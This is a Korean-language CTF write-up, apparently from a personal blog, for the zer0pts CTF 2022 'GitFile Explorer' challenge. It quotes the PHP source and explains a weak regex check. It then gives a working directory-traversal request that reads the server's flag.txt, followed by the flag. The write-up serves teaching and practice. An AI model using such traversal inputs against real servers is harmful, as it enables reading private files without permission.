CTF/zer0pts CTF 2022
[Clear] zer0pts CTF 2022 GitFile Explorer Writeup
Vardy
2022. 3. 21. 21:58
주어진 페이지에 접근해보자.
아래와 같이 사용자 입력 값 기반으로하여 github 등을 통한 파일 다운로드 기능이 있는 페이지가 나타났다.
http://gitfile.ctf.zer0pts.com:8001/?service=https%3A%2F%2Fraw.githubusercontent.com&owner=ptr-yudai&repo=ptrlib&branch=master&file=README.md
기능 실행 시 URL이 위와 같이 요청되므로, LFI를 의심하면서 주어진 소스코드를 분석해보자.
<?php
function h($s) { return htmlspecialchars($s); }
function craft_url($service, $owner, $repo, $branch, $file) { ##### ........... (1)
if (strpos($service, "github") !== false) {
/* GitHub URL */
return $service."/".$owner."/".$repo."/".$branch."/".$file;
} else if (strpos($service, "gitlab") !== false) {
/* GitLab URL */
return $service."/".$owner."/".$repo."/-/raw/".$branch."/".$file;
} else if (strpos($service, "bitbucket") !== false) {
/* BitBucket URL */
return $service."/".$owner."/".$repo."/raw/".$branch."/".$file;
}
return null;
}
$service = empty($_GET['service']) ? "" : $_GET['service'];
$owner = empty($_GET['owner']) ? "ptr-yudai" : $_GET['owner'];
$repo = empty($_GET['repo']) ? "ptrlib" : $_GET['repo'];
$branch = empty($_GET['branch']) ? "master" : $_GET['branch'];
$file = empty($_GET['file']) ? "README.md" : $_GET['file'];
if ($service) {
$url = craft_url($service, $owner, $repo, $branch, $file);
if (preg_match("/^http.+\/\/.*(github|gitlab|bitbucket)/m", $url) === 1) {
##### .................................................................. (2)
$result = file_get_contents($url);
}
}
?>
(1)에서 요청 시 넘어가는 파라미터들 기준으로 파일을 호출하는데, 2와 같은 정규식 기반 조건식이 있다.
해당 정규식에는 취약점이 있는데 http뒤에 기타 구문을 삽입해도 정규식을 만족 할 수 있다.
(http와 https를 모두 수용하기 위해서 이렇게 만든것이라고 추측된다.)
따라서 service파라미터를 아래와 같이 설정해주면
http://gitfile.ctf.zer0pts.com:8001/?service=https/../../../%3A%2F%2Fraw.githubusercontent.com&owner=..&repo=..&branch=..&file=../../../../../../../flag.txt
craft_url 메소드의 결과는 https/../../../%3A%2F%2Fraw.githubusercontent.com/../../../../../../../../flag.txt 와 같이 일반적인 LFI 구문 형태가 되므로 플래그를 획득 할 수 있다.
FLAG = zer0pts{foo/bar/../../../../../directory/traversal}
반응형